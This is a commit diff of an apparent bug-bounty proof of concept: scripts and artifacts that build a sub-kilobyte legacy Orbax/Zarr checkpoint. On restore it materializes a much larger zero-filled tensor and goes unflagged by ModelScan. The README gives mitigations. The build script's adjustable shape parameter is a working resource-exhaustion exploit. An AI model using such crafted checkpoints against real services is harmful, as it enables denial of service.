Upload folder using huggingface_hub

README.md

@@ -0,0 +1,61 @@
+# Flax/Orbax Sparse-Shape Checkpoint PoC
+
+This is a benign security PoC for a Flax/Orbax checkpoint resource-amplification issue. It demonstrates a tiny legacy Orbax/Zarr checkpoint whose model-controlled metadata restores as a much larger zero-filled `float32` tensor.
+
+## Files
+
+- `build_poc.py` creates the checkpoint artifact.
+- `verify_poc.py` restores the checkpoint and writes `results.json`.
+- `poc_sparse_shape_checkpoint/checkpoint_0/` is the generated checkpoint artifact.
+- `poc_sparse_shape_checkpoint/artifact_manifest.json` records file sizes and SHA256 values.
+- `modelscan_checkpoint_0.json` is ModelScan output.
+- `results.json` is runtime restore output from the local validation run.
+
+## Trigger
+
+The checkpoint uses legacy Orbax/Zarr layout with:
+
+- `_METADATA`: `store_array_data_equal_to_fill_value=false`
+- `marker/.zarray`: a large declared `shape`
+- no chunk data file
+
+On restore, current Orbax/TensorStore fills missing chunk data and materializes the declared array. The staged artifact uses a safe default shape of `8,000,000` `float32` elements, allocating about 32 MB from a sub-kilobyte checkpoint.
+
+## Reproduction
+
+```bash
+python -m venv .venv
+.venv/Scripts/python -m pip install flax orbax-checkpoint modelscan transformers msgpack psutil numpy
+.venv/Scripts/python build_poc.py --shape 8000000
+.venv/Scripts/python verify_poc.py
+.venv/Scripts/modelscan scan -p poc_sparse_shape_checkpoint/checkpoint_0 -r json --show-skipped -o modelscan_checkpoint_0.json
+```
+
+Expected restore output includes:
+
+- `restored_shape`: `[8000000]`
+- `restored_dtype`: `float32`
+- `restored_nbytes`: `32000000`
+- `first_value` and `last_value`: `0.0`
+
+## Scanner Output Summary
+
+ModelScan `0.8.8` reports zero issues and skips `_CHECKPOINT_METADATA`, `_METADATA`, and `marker/.zarray` as unsupported files. This is not an ACE scanner bypass; it is scanner/runtime evidence for a currently unsupported Flax/Orbax checkpoint surface.
+
+## Impact
+
+An attacker-controlled checkpoint can be much smaller on disk than the array materialized during restore. Increasing the declared Zarr shape scales the allocation and can produce a denial of service in services that restore untrusted Flax/Orbax checkpoints.
+
+Limitations:
+
+- DoS/resource amplification only.
+- No code execution.
+- Demonstrated on legacy Orbax/Zarr checkpoint layout, not default OCDBT.
+- Requires a service or user to restore the checkpoint.
+
+## Mitigations
+
+- Reject or cap restored tensor shapes before `TensorStore.read()`.
+- Reject checkpoints with missing chunk data unless explicitly trusted.
+- Treat `_METADATA` and `.zarray` as security-sensitive scanner targets.
+- Enforce a maximum restored byte budget per checkpoint.

build_poc.py

@@ -0,0 +1,102 @@
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import shutil
+from pathlib import Path
+
+import numpy as np
+import orbax.checkpoint as ocp
+
+
+def sha256_file(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as f:
+        for chunk in iter(lambda: f.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def build_tree_hash(root: Path) -> tuple[str, list[dict[str, object]]]:
+    entries = []
+    h = hashlib.sha256()
+    for path in sorted(p for p in root.rglob("*") if p.is_file()):
+        rel = path.relative_to(root).as_posix()
+        digest = sha256_file(path)
+        size = path.stat().st_size
+        entries.append({"path": rel, "size": size, "sha256": digest})
+        h.update(rel.encode("utf-8"))
+        h.update(b"\0")
+        h.update(digest.encode("ascii"))
+        h.update(b"\0")
+    return h.hexdigest(), entries
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Build a benign Flax/Orbax sparse-shape checkpoint PoC."
+    )
+    parser.add_argument(
+        "--shape",
+        type=int,
+        default=8_000_000,
+        help="Declared float32 tensor length. Default allocates 32 MB on restore.",
+    )
+    parser.add_argument(
+        "--out",
+        type=Path,
+        default=Path("poc_sparse_shape_checkpoint"),
+        help="Output directory for the PoC checkpoint package.",
+    )
+    args = parser.parse_args()
+
+    if args.shape < 1:
+        raise SystemExit("--shape must be positive")
+
+    out = args.out.resolve()
+    if out.exists():
+        shutil.rmtree(out)
+    out.mkdir(parents=True)
+    ckpt = out / "checkpoint_0"
+
+    handler = ocp.PyTreeCheckpointHandler(use_ocdbt=False)
+    checkpointer = ocp.Checkpointer(handler)
+    checkpointer.save(
+        ckpt,
+        {"marker": np.array([1.0], dtype=np.float32)},
+        force=True,
+    )
+
+    metadata_path = ckpt / "_METADATA"
+    metadata = json.loads(metadata_path.read_text())
+    metadata["store_array_data_equal_to_fill_value"] = False
+    metadata_path.write_text(json.dumps(metadata, separators=(",", ":")))
+
+    zarray_path = ckpt / "marker" / ".zarray"
+    zarray = json.loads(zarray_path.read_text())
+    zarray["shape"] = [args.shape]
+    zarray["chunks"] = [args.shape]
+    zarray_path.write_text(json.dumps(zarray, separators=(",", ":")))
+
+    chunk_path = ckpt / "marker" / "0"
+    if chunk_path.exists():
+        chunk_path.unlink()
+
+    tree_hash, files = build_tree_hash(out)
+    manifest = {
+        "name": "flax-orbax-sparse-shape-checkpoint-poc",
+        "declared_shape": [args.shape],
+        "declared_nbytes_float32": args.shape * 4,
+        "checkpoint_bytes_on_disk": sum(item["size"] for item in files),
+        "tree_sha256": tree_hash,
+        "files": files,
+    }
+    (out / "artifact_manifest.json").write_text(
+        json.dumps(manifest, indent=2) + "\n"
+    )
+    print(json.dumps(manifest, indent=2))
+
+
+if __name__ == "__main__":
+    main()

modelscan_checkpoint_0.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "poc_sparse_shape_checkpoint\\checkpoint_0", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:57:40.451111", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_CHECKPOINT_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "marker\\.zarray"}]}}, "issues": [], "errors": []}

poc_sparse_shape_checkpoint/artifact_manifest.json

@@ -0,0 +1,26 @@
+{
+  "name": "flax-orbax-sparse-shape-checkpoint-poc",
+  "declared_shape": [
+    8000000
+  ],
+  "declared_nbytes_float32": 32000000,
+  "checkpoint_bytes_on_disk": 690,
+  "tree_sha256": "bb1f5685101ef62fc818939955bd3db938ba60ce5fe49b8dea8db0bba2003381",
+  "files": [
+    {
+      "path": "checkpoint_0/_CHECKPOINT_METADATA",
+      "size": 258,
+      "sha256": "eb21d0981fbd569fa29a62452642973b68f514d2e62fb1eeec78f96191580e79"
+    },
+    {
+      "path": "checkpoint_0/_METADATA",
+      "size": 256,
+      "sha256": "05e86e7a3626edfd23fc09e91001fc346ee9aec4c352d5907441f1f37b5f3bb3"
+    },
+    {
+      "path": "checkpoint_0/marker/.zarray",
+      "size": 176,
+      "sha256": "fab095a3ae13ec5674d2899e341ccdf0d456c536aeee55682fa1fa24c404e967"
+    }
+  ]
+}

poc_sparse_shape_checkpoint/checkpoint_0/_CHECKPOINT_METADATA

@@ -0,0 +1 @@
+{"item_handlers": "orbax.checkpoint._src.handlers.pytree_checkpoint_handler.PyTreeCheckpointHandler", "metrics": {}, "performance_metrics": {}, "init_timestamp_nsecs": 1778570744276689000, "commit_timestamp_nsecs": 1778570744354952900, "custom_metadata": {}}

poc_sparse_shape_checkpoint/checkpoint_0/_METADATA

@@ -0,0 +1 @@
+{"tree_metadata":{"('marker',)":{"key_metadata":[{"key":"marker","key_type":2}],"value_metadata":{"value_type":"np.ndarray","skip_deserialize":false}}},"use_ocdbt":false,"use_zarr3":false,"store_array_data_equal_to_fill_value":false,"custom_metadata":null}

poc_sparse_shape_checkpoint/checkpoint_0/marker/.zarray

@@ -0,0 +1 @@
+{"chunks":[8000000],"compressor":{"id":"zstd","level":1},"dimension_separator":".","dtype":"<f4","fill_value":null,"filters":null,"order":"C","shape":[8000000],"zarr_format":2}

results.json

@@ -0,0 +1,25 @@
+{
+  "checkpoint": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0",
+  "restored_shape": [
+    8000000
+  ],
+  "restored_dtype": "float32",
+  "restored_nbytes": 32000000,
+  "first_value": 0.0,
+  "last_value": 0.0,
+  "elapsed_seconds": 0.13800019999871438,
+  "rss_before": 117305344,
+  "rss_after": 163581952,
+  "rss_delta": 46276608,
+  "versions": {
+    "python": "3.12.12",
+    "platform": "Windows-11-10.0.26220-SP0",
+    "flax": "0.12.7",
+    "jax": "0.10.0",
+    "orbax-checkpoint": "0.11.39",
+    "modelscan": "0.8.8",
+    "msgpack": "1.1.2",
+    "numpy": "2.4.4",
+    "transformers": "5.8.0"
+  }
+}

verify_poc.py

@@ -0,0 +1,79 @@
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import platform
+import time
+from pathlib import Path
+
+import flax
+import jax
+import msgpack
+import numpy as np
+import orbax.checkpoint as ocp
+import psutil
+
+
+def package_versions() -> dict[str, str]:
+    import modelscan
+    import transformers
+
+    return {
+        "python": platform.python_version(),
+        "platform": platform.platform(),
+        "flax": flax.__version__,
+        "jax": jax.__version__,
+        "orbax-checkpoint": ocp.__version__,
+        "modelscan": modelscan.__version__,
+        "msgpack": ".".join(map(str, msgpack.version)),
+        "numpy": np.__version__,
+        "transformers": transformers.__version__,
+    }
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Restore the benign sparse-shape Flax/Orbax checkpoint PoC."
+    )
+    parser.add_argument(
+        "--checkpoint",
+        type=Path,
+        default=Path("poc_sparse_shape_checkpoint") / "checkpoint_0",
+    )
+    parser.add_argument(
+        "--results",
+        type=Path,
+        default=Path("results.json"),
+    )
+    args = parser.parse_args()
+
+    checkpoint = args.checkpoint.resolve()
+    process = psutil.Process(os.getpid())
+    before_rss = process.memory_info().rss
+    start = time.perf_counter()
+
+    restored = ocp.Checkpointer(ocp.PyTreeCheckpointHandler()).restore(checkpoint)
+    elapsed = time.perf_counter() - start
+    marker = restored["marker"]
+    after_rss = process.memory_info().rss
+
+    result = {
+        "checkpoint": str(checkpoint),
+        "restored_shape": list(marker.shape),
+        "restored_dtype": str(marker.dtype),
+        "restored_nbytes": int(marker.nbytes),
+        "first_value": float(marker[0]),
+        "last_value": float(marker[-1]),
+        "elapsed_seconds": elapsed,
+        "rss_before": before_rss,
+        "rss_after": after_rss,
+        "rss_delta": after_rss - before_rss,
+        "versions": package_versions(),
+    }
+    args.results.write_text(json.dumps(result, indent=2) + "\n")
+    print(json.dumps(result, indent=2))
+
+
+if __name__ == "__main__":
+    main()